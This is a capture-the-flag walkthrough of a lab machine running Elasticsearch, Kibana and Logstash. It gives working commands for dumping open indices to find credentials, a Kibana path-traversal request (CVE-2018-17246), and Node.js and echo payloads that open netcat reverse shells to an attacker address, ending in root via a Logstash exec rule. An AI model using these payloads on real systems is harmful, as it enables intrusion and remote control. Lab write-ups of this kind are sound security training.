Difficulty: Easy
Technologies: Elasticsearch, Logstash
Vulnerabilities: Credentials in open database, log stash command as root
Walkthrough
Scan for open ports:
nmap -n -Pn -sS 10.10.10.115 --top-ports 1000
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9200/tcp open wap-wsp
On port 9200 there is a Elasticsearch which can be queried using the API
curl -XGET http://10.10.10.115:9200/_xpack | python -m json.tool
...
{
"build": {
"date": "2018-09-26T13:37:49.715743Z",
"hash": "04711c2"
},
"features": {
"graph": {
"available": false,
"description": "Graph Data Exploration for the Elastic Stack",
"enabled": true
},
"logstash": {
"available": false,
"description": "Logstash management component for X-Pack",
"enabled": true
},
"ml": {
"available": false,
"description": "Machine Learning for the Elastic Stack",
"enabled": true,
"native_code_info": {
"build_hash": "660eefe6f2ea55",
"version": "6.4.2"
}
},
"monitoring": {
"available": true,
"description": "Monitoring for the Elastic Stack",
"enabled": true
},
"rollup": {
"available": true,
"description": "Time series pre-aggregation and rollup",
"enabled": true
},
"security": {
"available": false,
"description": "Security for the Elastic Stack",
"enabled": true
},
"watcher": {
"available": false,
"description": "Alerting, Notification and Automation for the Elastic Stack",
"enabled": true
}
},
"license": {
"mode": "basic",
"status": "active",
"type": "basic",
"uid": "b90feef1-5656-4e6d-873b-942bb078cbba"
},
"tagline": "You know, for X"
}
curl -XGET 'http://10.10.10.115:9200/_cat/indices?v'
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
curl --GET 'http://10.10.10.115:9200/quotes/_search?pretty&size=500&q=*:*' > quotes.json
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 185k 100 185k 0 0 685k 0 --:--:-- --:--:-- --:--:-- 682k
curl --GET 'http://10.10.10.115:9200/bank/_search?pretty&size=500&q=*:*' > bank.json
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 249k 100 249k 0 0 663k 0 --:--:-- --:--:-- --:--:-- 663k
ls -l *json
-rw-r--r-- 1 root root 255637 Okt 22 07:29 bank.json
-rw-r--r-- 1 root root 190137 Okt 22 07:28 quotes.json
Found an additional hint in the image itself
strings needle.jpg
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
This translates to la aguja en el pajar es „clave“
Found something inside the haystack
"_index" : "quotes",
"_type" : "quote",
"_id" : "111",
"_score" : 1.0,
"_source" : {
"quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
}
},
Tranlsates to „This key can’t be lost, I keep it here“. The base64 can be decoded to: pass: spanish.is.key
grep clave *json
quotes.json: "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
quotes.json: "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
The second entry tanslates to „I have to keep the key for the machine“. The base64 can be decoded to: user: security
We are able to log in
ssh security@10.10.10.115
...
security@10.10.10.115's password:
Last login: Wed Feb 6 20:53:59 2019 from 192.168.2.154
[security@haystack ~]$
[security@haystack ~]$ id -a
uid=1000(security) gid=1000(security) Gruppen=1000(security) Kontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929
The kibana installed on the machine suffers https://www.cvedetails.com/cve/CVE-2018-17246/ but the port is only open from the inside. So we open a tunnel
ben@kali:/var/www/html$ ssh -L 5601:127.0.0.1:5601 security@10.10.10.115
security@10.10.10.115's password:
Last login: Tue Oct 22 09:46:44 2019 from 10.10.14.2
[security@haystack ~]$
Trying the DOS attack seems to work, request in burp
GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../cli_plugin/cli.js HTTP/1.1
Host: localhost:5601
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:5601/app/kibana
kbn-version: 6.4.2
X-Requested-With: XMLHttpRequest
Connection: close
We upload a netcat and prepare a reverse shell
root@kali:/var/www/html# scp /bin/nc security@10.10.10.115:/tmp/
[security@haystack tmp]$ cat loc4.js
var exec = require('child_process').exec;
var child = exec('/tmp/nc 10.10.14.2 4444 -e /bin/bash', function(error, stdout, stderr) {
if (error) console.log(error);
process.stdout.write(stdout);
process.stderr.write(stderr);
});
python -c 'import pty; pty.spawn("/bin/sh")'
sh-4.2$ id -a
id -a
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0
Logstash is running as root, additionally its configuration seems to be able to execute commands
cat input.conf filter.conf output.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
We craft a proper payload using https://grokdebug.herokuapp.com/
ben@kali:~$ nc -nvlp 5555
sh-4.2$ echo "Ejecutar comando : /tmp/nc 10.10.14.2 5555 -e /bin/bash" >> /opt/kibana/logstash_cmd
python -c 'import pty; pty.spawn("/bin/sh")'
sh-4.2# id -a
id -a
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
sh-4.2# cat root.txt
cat root.txt
3f5f727c38d9f70e1d2ad2ba11059d92